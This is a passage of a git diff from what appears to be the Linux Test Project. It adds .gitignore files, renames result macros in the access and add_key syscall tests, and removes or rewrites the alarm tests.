-/preadv/preadv02
-/preadv/preadv02_64
-/profil/profil01
-/pselect/pselect01
-/pselect/pselect01_64
-/pselect/pselect02
-/pselect/pselect02_64
-/pselect/pselect03
-/pselect/pselect03_64
-/ptrace/_syscalls.h
-/ptrace/ptrace01
-/ptrace/ptrace02
-/ptrace/ptrace03
-/ptrace/ptrace04
-/ptrace/ptrace05
-/ptrace/ptrace07
-/ptrace/simple_tracer
-/pwrite/f
-/pwrite/pwrite01
-/pwrite/pwrite01_64
-/pwrite/pwrite02
-/pwrite/pwrite02_64
-/pwrite/pwrite04
-/pwrite/pwrite04_64
-/pwritev/pwritev01
-/pwritev/pwritev01_64
-/pwritev/pwritev02
-/pwritev/pwritev02_64
-/quotactl/quotactl01
-/quotactl/quotactl02
-/quotactl/quotactl03
-/read/read01
-/read/read02
-/read/read03
-/read/read04
-/readahead/readahead01
-/readahead/readahead02
-/readdir/readdir01
-/readdir/readdir02
-/readdir/readdir21
-/readlink/creat_slink
-/readlink/readlink01
-/readlink/readlink02
-/readlink/readlink03
-/readlink/readlink04
-/readlinkat/readlinkat01
-/readlinkat/readlinkat02
-/readv/readv01
-/readv/readv02
-/readv/readv03
-/reboot/reboot01
-/reboot/reboot02
-/recv/recv01
-/recvfrom/recvfrom01
-/recvmsg/recvmsg01
-/recvmsg/recvmsg02
-/recvmsg/recvmsg03
-/remap_file_pages/remap_file_pages01
-/remap_file_pages/remap_file_pages02
-/removexattr/removexattr01
-/removexattr/removexattr02
-/rename/rename01
-/rename/rename02
-/rename/rename03
-/rename/rename04
-/rename/rename05
-/rename/rename06
-/rename/rename07
-/rename/rename08
-/rename/rename09
-/rename/rename10
-/rename/rename11
-/rename/rename12
-/rename/rename13
-/rename/rename14
-/renameat/renameat01
-/renameat2/renameat201
-/renameat2/renameat202
-/request_key/request_key01
-/request_key/request_key02
-/request_key/request_key03
-/rmdir/rmdir01
-/rmdir/rmdir02
-/rmdir/rmdir03
-/rmdir/rmdir04
-/rmdir/rmdir05
-/rt_sigaction/rt_sigaction01
-/rt_sigaction/rt_sigaction02
-/rt_sigaction/rt_sigaction03
-/rt_sigprocmask/rt_sigprocmask01
-/rt_sigprocmask/rt_sigprocmask02
-/rt_sigqueueinfo/rt_sigqueueinfo01
-/rt_sigsuspend/rt_sigsuspend01
-/rt_sigtimedwait/rt_sigtimedwait01
-/sbrk/sbrk01
-/sbrk/sbrk02
-/sbrk/sbrk03
-/sched_get_priority_max/sched_get_priority_max01
-/sched_get_priority_max/sched_get_priority_max02
-/sched_get_priority_min/sched_get_priority_min01
-/sched_get_priority_min/sched_get_priority_min02
-/sched_getaffinity/sched_getaffinity01
-/sched_getattr/sched_getattr01
-/sched_getattr/sched_getattr02
-/sched_getparam/sched_getparam01
-/sched_getparam/sched_getparam02
-/sched_getparam/sched_getparam03
-/sched_getscheduler/sched_getscheduler01
-/sched_getscheduler/sched_getscheduler02
-/sched_rr_get_interval/sched_rr_get_interval01
-/sched_rr_get_interval/sched_rr_get_interval02
-/sched_rr_get_interval/sched_rr_get_interval03
-/sched_setaffinity/sched_setaffinity01
-/sched_setattr/sched_setattr01
-/sched_setparam/sched_setparam01
-/sched_setparam/sched_setparam02
-/sched_setparam/sched_setparam03
-/sched_setparam/sched_setparam04
-/sched_setparam/sched_setparam05
-/sched_setscheduler/sched_setscheduler01
-/sched_setscheduler/sched_setscheduler02
-/sched_setscheduler/sched_setscheduler03
-/sched_yield/sched_yield01
-/select/select01
-/select/select02
-/select/select03
-/select/select04
-/send/send01
-/sendfile/sendfile02
-/sendfile/sendfile02_64
-/sendfile/sendfile03
-/sendfile/sendfile03_64
-/sendfile/sendfile04
-/sendfile/sendfile04_64
-/sendfile/sendfile05
-/sendfile/sendfile05_64
-/sendfile/sendfile06
-/sendfile/sendfile06_64
-/sendfile/sendfile07
-/sendfile/sendfile07_64
-/sendfile/sendfile08
-/sendfile/sendfile08_64
-/sendfile/sendfile09
-/sendfile/sendfile09_64
-/sendmsg/sendmsg01
-/sendmsg/sendmsg02
-/sendto/sendto01
-/sendto/sendto02
-/set_robust_list/set_robust_list01
-/set_thread_area/set_thread_area01
-/set_thread_area/set_thread_area02
-/set_tid_address/set_tid_address01
-/setdomainname/setdomainname01
-/setdomainname/setdomainname02
-/setdomainname/setdomainname03
-/setegid/setegid01
-/setegid/setegid02
-/setfsgid/setfsgid01
-/setfsgid/setfsgid01_16
-/setfsgid/setfsgid02
-/setfsgid/setfsgid02_16
-/setfsgid/setfsgid03
-/setfsgid/setfsgid03_16
-/setfsuid/setfsuid01
-/setfsuid/setfsuid01_16
-/setfsuid/setfsuid02
-/setfsuid/setfsuid02_16
-/setfsuid/setfsuid03
-/setfsuid/setfsuid03_16
-/setfsuid/setfsuid04
-/setfsuid/setfsuid04_16
-/setgid/setgid01
-/setgid/setgid01_16
-/setgid/setgid02
-/setgid/setgid02_16
-/setgid/setgid03
-/setgid/setgid03_16
-/setgroups/setgroups01
-/setgroups/setgroups01_16
-/setgroups/setgroups02
-/setgroups/setgroups02_16
-/setgroups/setgroups03
-/setgroups/setgroups03_16
-/setgroups/setgroups04
-/setgroups/setgroups04_16
-/sethostname/sethostname01
-/sethostname/sethostname02
-/sethostname/sethostname03
-/setitimer/setitimer01
-/setitimer/setitimer02
-/setitimer/setitimer03
-/setns/setns01
-/setns/setns02
-/setpgid/setpgid01
-/setpgid/setpgid02
-/setpgid/setpgid03
-/setpgid/setpgid03_child
-/setpgrp/setpgrp01
-/setpgrp/setpgrp02
-/setpriority/setpriority01
-/setpriority/setpriority02
-/setregid/setregid01
-/setregid/setregid01_16
-/setregid/setregid02
-/setregid/setregid02_16
-/setregid/setregid03
-/setregid/setregid03_16
-/setregid/setregid04
-/setregid/setregid04_16
-/setresgid/setresgid01
-/setresgid/setresgid01_16
-/setresgid/setresgid02
-/setresgid/setresgid02_16
-/setresgid/setresgid03
-/setresgid/setresgid03_16
-/setresgid/setresgid04
-/setresgid/setresgid04_16
-/setresuid/setresuid01
-/setresuid/setresuid01_16
-/setresuid/setresuid02
-/setresuid/setresuid02_16
-/setresuid/setresuid03
-/setresuid/setresuid03_16
-/setresuid/setresuid04
-/setresuid/setresuid04_16
-/setresuid/setresuid05
-/setresuid/setresuid05_16
-/setreuid/setreuid01
-/setreuid/setreuid01_16
-/setreuid/setreuid02
-/setreuid/setreuid02_16
-/setreuid/setreuid03
-/setreuid/setreuid03_16
-/setreuid/setreuid04
-/setreuid/setreuid04_16
-/setreuid/setreuid05
-/setreuid/setreuid05_16
-/setreuid/setreuid06
-/setreuid/setreuid06_16
-/setreuid/setreuid07
-/setreuid/setreuid07_16
-/setrlimit/setrlimit01
-/setrlimit/setrlimit02
-/setrlimit/setrlimit03
-/setrlimit/setrlimit04
-/setrlimit/setrlimit05
-/setsid/setsid01
-/setsockopt/setsockopt01
-/setsockopt/setsockopt02
-/settimeofday/settimeofday01
-/settimeofday/settimeofday02
-/setuid/setuid01
-/setuid/setuid01_16
-/setuid/setuid02
-/setuid/setuid02_16
-/setuid/setuid03
-/setuid/setuid03_16
-/setuid/setuid04
-/setuid/setuid04_16
-/setxattr/setxattr01
-/setxattr/setxattr02
-/setxattr/setxattr03
-/sgetmask/sgetmask01
-/sigaction/sigaction01
-/sigaction/sigaction02
-/sigaltstack/sigaltstack01
-/sigaltstack/sigaltstack02
-/sighold/sighold02
-/signal/signal01
-/signal/signal02
-/signal/signal03
-/signal/signal04
-/signal/signal05
-/signal/signal06
-/signalfd/signalfd01
-/signalfd4/signalfd4_01
-/signalfd4/signalfd4_02
-/sigpending/sigpending02
-/sigprocmask/sigprocmask01
-/sigrelse/sigrelse01
-/sigsuspend/sigsuspend01
-/sigtimedwait/sigtimedwait01
-/sigwait/sigwait01
-/sigwaitinfo/sigwaitinfo01
-/socket/socket01
-/socket/socket02
-/socketcall/socketcall01
-/socketcall/socketcall02
-/socketcall/socketcall03
-/socketcall/socketcall04
-/socketpair/socketpair01
-/socketpair/socketpair02
-/sockioctl/sockioctl01
-/splice/splice01
-/splice/splice02
-/splice/splice03
-/splice/splice04
-/splice/splice05
-/ssetmask/ssetmask01
-/stat/stat01
-/stat/stat01_64
-/stat/stat02
-/stat/stat02_64
-/stat/stat03
-/stat/stat03_64
-/stat/stat05
-/stat/stat05_64
-/stat/stat06
-/stat/stat06_64
-/statfs/statfs01
-/statfs/statfs01_64
-/statfs/statfs02
-/statfs/statfs02_64
-/statfs/statfs03
-/statfs/statfs03_64
-/statvfs/statvfs01
-/statvfs/statvfs02
-/stime/stime01
-/stime/stime02
-/string/string01
-/swapoff/swapoff01
-/swapoff/swapoff02
-/swapon/swapon01
-/swapon/swapon02
-/swapon/swapon03
-/switch/endian_switch01
-/symlink/symlink01
-/symlink/symlink02
-/symlink/symlink03
-/symlink/symlink04
-/symlink/symlink05
-/symlinkat/symlinkat01
-/sync/sync01
-/sync/sync02
-/sync_file_range/sync_file_range01
-/syscall/syscall01
-/sysconf/sysconf01
-/sysctl/sysctl01
-/sysctl/sysctl03
-/sysctl/sysctl04
-/sysctl/sysctl05
-/sysfs/sysfs01
-/sysfs/sysfs02
-/sysfs/sysfs03
-/sysfs/sysfs04
-/sysfs/sysfs05
-/sysfs/sysfs06
-/sysinfo/sysinfo01
-/sysinfo/sysinfo02
-/syslog/syslog11
-/syslog/syslog12
-/syslog/syslogtst
-/tee/tee01
-/tee/tee02
-/time/time01
-/time/time02
-/timer_getoverrun/timer_getoverrun01
-/timer_gettime/timer_gettime01
-/timerfd/timerfd01
-/timerfd/timerfd02
-/timerfd/timerfd03
-/timerfd/timerfd_create01
-/timerfd/timerfd_gettime01
-/timerfd/timerfd_settime01
-/times/times01
-/times/times03
-/tkill/tkill01
-/tkill/tkill02
-/truncate/truncate01
-/truncate/truncate01_64
-/truncate/truncate02
-/truncate/truncate02_64
-/truncate/truncate03
-/truncate/truncate03_64
-/ulimit/ulimit01
-/umask/umask01
-/umount/umount01
-/umount/umount02
-/umount/umount03
-/umount2/umount2_01
-/umount2/umount2_02
-/umount2/umount2_03
-/uname/uname01
-/uname/uname02
-/uname/uname03
-/unlink/unlink05
-/unlink/unlink06
-/unlink/unlink07
-/unlink/unlink08
-/unlinkat/unlinkat01
-/unshare/unshare01
-/unshare/unshare02
-/ustat/ustat01
-/ustat/ustat02
-/utime/utime01
-/utime/utime02
-/utime/utime03
-/utime/utime04
-/utime/utime05
-/utime/utime06
-/utimensat/utimensat01
-/utimes/utimes01
-/vfork/vfork01
-/vfork/vfork02
-/vhangup/vhangup01
-/vhangup/vhangup02
-/vmsplice/vmsplice01
-/vmsplice/vmsplice02
-/wait/wait01
-/wait/wait02
-/wait4/wait401
-/wait4/wait402
-/waitid/waitid01
-/waitid/waitid02
-/waitpid/waitpid01
-/waitpid/waitpid02
-/waitpid/waitpid03
-/waitpid/waitpid04
-/waitpid/waitpid05
-/waitpid/waitpid06
-/waitpid/waitpid07
-/waitpid/waitpid08
-/waitpid/waitpid09
-/waitpid/waitpid10
-/waitpid/waitpid11
-/waitpid/waitpid12
-/waitpid/waitpid13
-/write/write01
-/write/write03
-/write/write04
-/write/write05
-/writev/writev01
-/writev/writev02
-/writev/writev05
-/writev/writev06
-/writev/writev07
-/fanotify/fanotify01
-/fanotify/fanotify02
-/fanotify/fanotify03
-/fanotify/fanotify04
-/fanotify/fanotify05
-/fanotify/fanotify06
-/fanotify/fanotify07
-/fanotify/fanotify08
-/perf_event_open/perf_event_open01
-/perf_event_open/perf_event_open02
-/memfd_create/memfd_create01
-/memfd_create/memfd_create02
-/copy_file_range/copy_file_range01
diff --git a/testcases/kernel/syscalls/abort/.gitignore b/testcases/kernel/syscalls/abort/.gitignore
new file mode 100644
index 0000000..5cdfb36
--- /dev/null
+++ b/testcases/kernel/syscalls/abort/.gitignore
@@ -0,0 +1 @@
+/abort01
diff --git a/testcases/kernel/syscalls/accept/.gitignore b/testcases/kernel/syscalls/accept/.gitignore
new file mode 100644
index 0000000..1f6f8ad
--- /dev/null
+++ b/testcases/kernel/syscalls/accept/.gitignore
@@ -0,0 +1 @@
+/accept01
diff --git a/testcases/kernel/syscalls/accept4/.gitignore b/testcases/kernel/syscalls/accept4/.gitignore
new file mode 100644
index 0000000..37b1030
--- /dev/null
+++ b/testcases/kernel/syscalls/accept4/.gitignore
@@ -0,0 +1 @@
+/accept4_01
diff --git a/testcases/kernel/syscalls/access/.gitignore b/testcases/kernel/syscalls/access/.gitignore
new file mode 100644
index 0000000..8cce048
--- /dev/null
+++ b/testcases/kernel/syscalls/access/.gitignore
@@ -0,0 +1,4 @@
+/access01
+/access02
+/access03
+/access04
diff --git a/testcases/kernel/syscalls/access/access01.c b/testcases/kernel/syscalls/access/access01.c
index b679832..f36a9d2 100644
--- a/testcases/kernel/syscalls/access/access01.c
+++ b/testcases/kernel/syscalls/access/access01.c
@@ -252,7 +252,7 @@
 
 static void verify_success(struct tcase *tc, const char *user)
 {
-	if (TEST_RETURN == -1) {
+	if (TST_RET == -1) {
 		tst_res(TFAIL | TTERRNO,
 		        "access(%s, %s) as %s failed unexpectedly",
 		        tc->fname, tc->name, user);
@@ -264,13 +264,13 @@
 
 static void verify_failure(struct tcase *tc, const char *user)
 {
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		tst_res(TFAIL, "access(%s, %s) as %s succeded unexpectedly",
 		        tc->fname, tc->name, user);
 		return;
 	}
 
-	if (TEST_ERRNO != tc->exp_errno) {
+	if (TST_ERR != tc->exp_errno) {
 		tst_res(TFAIL | TTERRNO,
 		        "access(%s, %s) as %s should fail with %s",
 		        tc->fname, tc->name, user,
diff --git a/testcases/kernel/syscalls/access/access02.c b/testcases/kernel/syscalls/access/access02.c
index 78449ca..5030288 100644
--- a/testcases/kernel/syscalls/access/access02.c
+++ b/testcases/kernel/syscalls/access/access02.c
@@ -75,7 +75,7 @@
 
 	TEST(access(tc->pathname, tc->mode));
 
-	if (TEST_RETURN == -1) {
+	if (TST_RET == -1) {
 		tst_res(TFAIL | TTERRNO, "access(%s, %s) as %s failed",
 			tc->pathname, tc->name, user);
 		return;
@@ -90,7 +90,7 @@
 		 */
 		TEST(stat(tc->targetname, &stat_buf));
 
-		if (TEST_RETURN == -1) {
+		if (TST_RET == -1) {
 			tst_res(TFAIL | TTERRNO, "stat(%s) as %s failed",
 				tc->targetname, user);
 			return;
@@ -105,14 +105,14 @@
 		 */
 		TEST(open(tc->targetname, O_RDONLY));
 
-		if (TEST_RETURN == -1) {
+		if (TST_RET == -1) {
 			tst_res(TFAIL | TTERRNO,
 				"open %s with O_RDONLY as %s failed",
 				tc->targetname, user);
 			return;
 		}
 
-		SAFE_CLOSE(TEST_RETURN);
+		SAFE_CLOSE(TST_RET);
 
 		break;
 	case W_OK:
@@ -123,14 +123,14 @@
 		 */
 		TEST(open(tc->targetname, O_WRONLY));
 
-		if (TEST_RETURN == -1) {
+		if (TST_RET == -1) {
 			tst_res(TFAIL | TTERRNO,
 				"open %s with O_WRONLY as %s failed",
 				tc->targetname, user);
 			return;
 		}
 
-		SAFE_CLOSE(TEST_RETURN);
+		SAFE_CLOSE(TST_RET);
 
 		break;
 	case X_OK:
@@ -143,7 +143,7 @@
 
 		TEST(system(command));
 
-		if (TEST_RETURN != 0) {
+		if (TST_RET != 0) {
 			tst_res(TFAIL | TTERRNO, "execute %s as %s failed",
 				tc->targetname, user);
 			return;
diff --git a/testcases/kernel/syscalls/access/access03.c b/testcases/kernel/syscalls/access/access03.c
index bba3068..13ee15f 100644
--- a/testcases/kernel/syscalls/access/access03.c
+++ b/testcases/kernel/syscalls/access/access03.c
@@ -49,13 +49,13 @@
 {
 	TEST(access(tc->addr, tc->mode));
 
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		tst_res(TFAIL, "access(%p, %s) as %s succeeded unexpectedly",
 			tc->addr, tc->name, user);
 		return;
 	}
 
-	if (TEST_ERRNO != EFAULT) {
+	if (TST_ERR != EFAULT) {
 		tst_res(TFAIL | TTERRNO,
 			"access(%p, %s) as %s should fail with EFAULT",
 			tc->addr, tc->name, user);
diff --git a/testcases/kernel/syscalls/access/access04.c b/testcases/kernel/syscalls/access/access04.c
index 626e6df..401a348 100644
--- a/testcases/kernel/syscalls/access/access04.c
+++ b/testcases/kernel/syscalls/access/access04.c
@@ -72,12 +72,12 @@
 {
 	TEST(access(tc->pathname, tc->mode));
 
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		tst_res(TFAIL, "access as %s succeeded unexpectedly", user);
 		return;
 	}
 
-	if (tc->exp_errno != TEST_ERRNO) {
+	if (tc->exp_errno != TST_ERR) {
 		tst_res(TFAIL | TTERRNO,
 			"access as %s should fail with %s",
 			user, tst_strerrno(tc->exp_errno));
diff --git a/testcases/kernel/syscalls/acct/.gitignore b/testcases/kernel/syscalls/acct/.gitignore
new file mode 100644
index 0000000..c2fb156
--- /dev/null
+++ b/testcases/kernel/syscalls/acct/.gitignore
@@ -0,0 +1 @@
+/acct01
diff --git a/testcases/kernel/syscalls/add_key/.gitignore b/testcases/kernel/syscalls/add_key/.gitignore
new file mode 100644
index 0000000..b9a0421
--- /dev/null
+++ b/testcases/kernel/syscalls/add_key/.gitignore
@@ -0,0 +1,4 @@
+/add_key01
+/add_key02
+/add_key03
+/add_key04
diff --git a/testcases/kernel/syscalls/add_key/add_key01.c b/testcases/kernel/syscalls/add_key/add_key01.c
index 6756702..e19cfe7 100644
--- a/testcases/kernel/syscalls/add_key/add_key01.c
+++ b/testcases/kernel/syscalls/add_key/add_key01.c
@@ -32,7 +32,7 @@
 static void verify_add_key(void)
 {
 	TEST(add_key("keyring", "wjkey", NULL, 0, KEY_SPEC_THREAD_KEYRING));
-	if (TEST_RETURN == -1)
+	if (TST_RET == -1)
 		tst_res(TFAIL | TTERRNO, "add_key call failed");
 	else
 		tst_res(TPASS, "add_key call succeeded");
diff --git a/testcases/kernel/syscalls/add_key/add_key02.c b/testcases/kernel/syscalls/add_key/add_key02.c
index 369e828..6d19ff2 100644
--- a/testcases/kernel/syscalls/add_key/add_key02.c
+++ b/testcases/kernel/syscalls/add_key/add_key02.c
@@ -63,20 +63,20 @@
 	TEST(add_key(tcases[i].type,
 		"abc:def", NULL, tcases[i].plen, KEY_SPEC_PROCESS_KEYRING));
 
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		tst_res(TFAIL,
 			"add_key() with key type '%s' unexpectedly succeeded",
 			tcases[i].type);
 		return;
 	}
 
-	if (TEST_ERRNO == EFAULT) {
+	if (TST_ERR == EFAULT) {
 		tst_res(TPASS, "received expected EFAULT with key type '%s'",
 			tcases[i].type);
 		return;
 	}
 
-	if (TEST_ERRNO == ENODEV) {
+	if (TST_ERR == ENODEV) {
 		tst_res(TCONF, "kernel doesn't support key type '%s'",
 			tcases[i].type);
 		return;
@@ -87,7 +87,7 @@
 	 * no asymmetric key parsers registered.  In that case, attempting to
 	 * add a key of type asymmetric will fail with EBADMSG.
 	 */
-	if (TEST_ERRNO == EBADMSG && !strcmp(tcases[i].type, "asymmetric")) {
+	if (TST_ERR == EBADMSG && !strcmp(tcases[i].type, "asymmetric")) {
 		tst_res(TCONF, "no asymmetric key parsers are registered");
 		return;
 	}
diff --git a/testcases/kernel/syscalls/add_key/add_key03.c b/testcases/kernel/syscalls/add_key/add_key03.c
index 27edcb2..95ac2ee 100644
--- a/testcases/kernel/syscalls/add_key/add_key03.c
+++ b/testcases/kernel/syscalls/add_key/add_key03.c
@@ -38,21 +38,21 @@
 {
 	TEST(add_key("keyring", description, NULL, 0,
 		     KEY_SPEC_PROCESS_KEYRING));
-	if (TEST_RETURN < 0) {
+	if (TST_RET < 0) {
 		tst_brk(TBROK | TTERRNO,
 			"unable to create keyring '%s'", description);
 	}
-	return TEST_RETURN;
+	return TST_RET;
 }
 
 static key_serial_t get_keyring_id(key_serial_t special_id)
 {
 	TEST(keyctl(KEYCTL_GET_KEYRING_ID, special_id, 1));
-	if (TEST_RETURN < 0) {
+	if (TST_RET < 0) {
 		tst_brk(TBROK | TTERRNO,
 			"unable to get ID of keyring %d", special_id);
 	}
-	return TEST_RETURN;
+	return TST_RET;
 }
 
 static void do_test(void)
diff --git a/testcases/kernel/syscalls/add_key/add_key04.c b/testcases/kernel/syscalls/add_key/add_key04.c
index debf349..1872cd5 100644
--- a/testcases/kernel/syscalls/add_key/add_key04.c
+++ b/testcases/kernel/syscalls/add_key/add_key04.c
@@ -49,7 +49,7 @@
 	int status;
 
 	TEST(keyctl(KEYCTL_JOIN_SESSION_KEYRING, NULL));
-	if (TEST_RETURN < 0)
+	if (TST_RET < 0)
 		tst_brk(TBROK | TTERRNO, "failed to join new session keyring");
 
 	if (SAFE_FORK() == 0) {
@@ -61,7 +61,7 @@
 			sprintf(description, "keyring%d", i);
 			TEST(add_key("keyring", description, NULL, 0,
 				     KEY_SPEC_SESSION_KEYRING));
-			if (TEST_RETURN < 0) {
+			if (TST_RET < 0) {
 				tst_brk(TBROK | TTERRNO,
 					"unable to create keyring %d", i);
 			}
@@ -69,7 +69,7 @@
 
 		TEST(add_key("user", "userkey", payload, sizeof(payload),
 			     KEY_SPEC_SESSION_KEYRING));
-		if (TEST_RETURN < 0)
+		if (TST_RET < 0)
 			tst_brk(TBROK | TTERRNO, "unable to create user key");
 
 		exit(0);
diff --git a/testcases/kernel/syscalls/adjtimex/.gitignore b/testcases/kernel/syscalls/adjtimex/.gitignore
new file mode 100644
index 0000000..d0c6dea
--- /dev/null
+++ b/testcases/kernel/syscalls/adjtimex/.gitignore
@@ -0,0 +1,2 @@
+/adjtimex01
+/adjtimex02
diff --git a/testcases/kernel/syscalls/alarm/.gitignore b/testcases/kernel/syscalls/alarm/.gitignore
new file mode 100644
index 0000000..ee72b05
--- /dev/null
+++ b/testcases/kernel/syscalls/alarm/.gitignore
@@ -0,0 +1,5 @@
+/alarm02
+/alarm03
+/alarm05
+/alarm06
+/alarm07
diff --git a/testcases/kernel/syscalls/alarm/alarm01.c b/testcases/kernel/syscalls/alarm/alarm01.c
deleted file mode 100644
index f17207b..0000000
--- a/testcases/kernel/syscalls/alarm/alarm01.c
+++ /dev/null
@@ -1,176 +0,0 @@
-/*
- * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
- */
-/* $Id: alarm01.c,v 1.6 2009/08/28 10:57:29 vapier Exp $ */
-/**********************************************************
- *
- *    OS Test - Silicon Graphics, Inc.
- *
- *    TEST IDENTIFIER	: alarm01
- *
- *    EXECUTED BY	: anyone
- *
- *    TEST TITLE	: Basic test for alarm(2)
- *
- *    PARENT DOCUMENT	: usctpl01
- *
- *    TEST CASE TOTAL	: 1
- *
- *    WALL CLOCK TIME	: 1
- *
- *    CPU TYPES		: ALL
- *
- *    AUTHOR		: William Roske
- *
- *    CO-PILOT		: Dave Fenner
- *
- *    DATE STARTED	: 03/30/92
- *
- *    INITIAL RELEASE	: UNICOS 7.0
- *
- *    TEST CASES
- *
- * 	1.) alarm(2) returns...(See Description)
- *
- *    INPUT SPECIFICATIONS
- * 	The standard options for system call tests are accepted.
- *	(See the parse_opts(3) man page).
- *
- *    OUTPUT SPECIFICATIONS
- *$
- *    DURATION
- * 	Terminates - with frequency and infinite modes.
- *
- *    SIGNALS
- * 	Uses SIGUSR1 to pause before test if option set.
- * 	(See the parse_opts(3) man page).
- *
- *    RESOURCES
- * 	None
- *
- *    ENVIRONMENTAL NEEDS
- * 	The libcuts.a and libsys.a libraries must be included in
- *	the compilation of this test.
- *
- *    SPECIAL PROCEDURAL REQUIREMENTS
- * 	None
- *
- *    INTERCASE DEPENDENCIES
- * 	None
- *
- *    DETAILED DESCRIPTION
- *	This is a Phase I test for the alarm(2) system call.  It is intended
- *	to provide a limited exposure of the system call, for now.  It
- *	should/will be extended when full functional tests are written for
- *	alarm(2).
- *
- * 	Setup:
- * 	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- * 	Test:
- *	 Loop if the proper options are given.
- * 	  Execute system call
- *	  Check return code, if system call failed (return=-1)
- *		Log the errno and Issue a FAIL message.
- *	  Otherwise, Issue a PASS message.
- *
- * 	Cleanup:
- * 	  Print errno log and/or timing stats if options given
- *
- *
- *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
-
-#include <errno.h>
-#include <string.h>
-#include <signal.h>
-#include "test.h"
-
-void setup();
-void cleanup();
-
-char *TCID = "alarm01";
-int TST_TOTAL = 1;
-
-int main(int ac, char **av)
-{
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/*
-		 * Call alarm(2)
-		 */
-		TEST(alarm(1));
-
-		/* check return code */
-		if (TEST_RETURN == -1)
-			tst_resm(TFAIL | TTERRNO, "alarm(1) failed");
-		else {
-			tst_resm(TPASS, "alarm(1) returned %ld",
-				 TEST_RETURN);
-		}
-
-	}
-
-	cleanup();
-	tst_exit();
-}
-
-void setup(void)
-{
-	void trapper();
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	signal(SIGALRM, trapper);
-
-	TEST_PAUSE;
-}
-
-/***************************************************************
- * cleanup() - performs all ONE TIME cleanup for this test at
- *		completion or premature exit.
- ***************************************************************/
-void cleanup(void)
-{
-}
-
-void trapper(int sig)
-{
-	signal(SIGALRM, trapper);
-}
diff --git a/testcases/kernel/syscalls/alarm/alarm02.c b/testcases/kernel/syscalls/alarm/alarm02.c
index d745e98..9423906 100644
--- a/testcases/kernel/syscalls/alarm/alarm02.c
+++ b/testcases/kernel/syscalls/alarm/alarm02.c
@@ -1,180 +1,80 @@
-/*
- * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
+// SPDX-License-Identifier: GPL-2.0-or-later
+/* Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
+ * Author: Billy Jean Horne
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
+ * Test Description:
+ *  1) alarm() return UINT_MAX if seconds is UINT_MAX.
+ *  2) alarm() return UINT_MAX/2 if seconds is UINT_MAX/2.
+ *  3) alarm() return UINT_MAX/4 if seconds is UINT_MAX/4.
  */
-/* $Id: alarm02.c,v 1.4 2009/08/28 10:57:29 vapier Exp $ */
-/**********************************************************
- *
- *    OS Test - Silicon Graphics, Inc.
- *
- *    TEST IDENTIFIER   : alarm02
- *
- *    TEST TITLE        : Boundary Value Test for alarm(2)
- *
- *    PARENT DOCUMENT   : almtds02
- *
- *    TEST CASE TOTAL   : 3
- *
- *    WALL CLOCK TIME   : 1
- *
- *    CPU TYPES         : ALL
- *
- *    AUTHOR            : Billy Jean Horne
- *
- *    CO-PILOT          : Kathy Olmsted
- *
- *    DATE STARTED      : 06/01/92
- *
- *    INITIAL RELEASE   : UNICOS 7.0
- *
- *    TEST CASES
- *      Test Case One - A call to alarm() shall not return an error if
- *       seconds is a -1.
- *       Test FAILS if a non-zero value is returned.
- *      Test Case Two - A call to alarm() shall not return an error if
- *       seconds is the maximum unsigned integer (2**63).
- *       Test FAILS if a non-zero value is returned.
- *      Test Case Three - A call to alarm() shall not return an error if
- *       seconds is the maximum unsigned integer plus 1 ((2**63)+1).
- *       Test FAILS if a non-zero value is returned.
- *
- *    ENVIRONMENTAL NEEDS
- *      The libcuts.a and libsys.a libraries must be included in
- *      the compilation of this test.
- *
- *    DETAILED DESCRIPTION
- *
- *      Setup:
- *        Define a cleanup function.
- *
- *      Test:
- *       Loop for each test case.
- *        Execute alarm (0) system call to clear previous alarm.
- *        Check return code, if system call failed (return=-1)
- *           Issue a FAIL message and exit the test.
- *        Call alarm() with boundary values for seconds.
- *        Verify that returned value is as expected.
- *        Report results.
- *
- *      Cleanup:
- *
- */
-#include <sys/types.h>
+
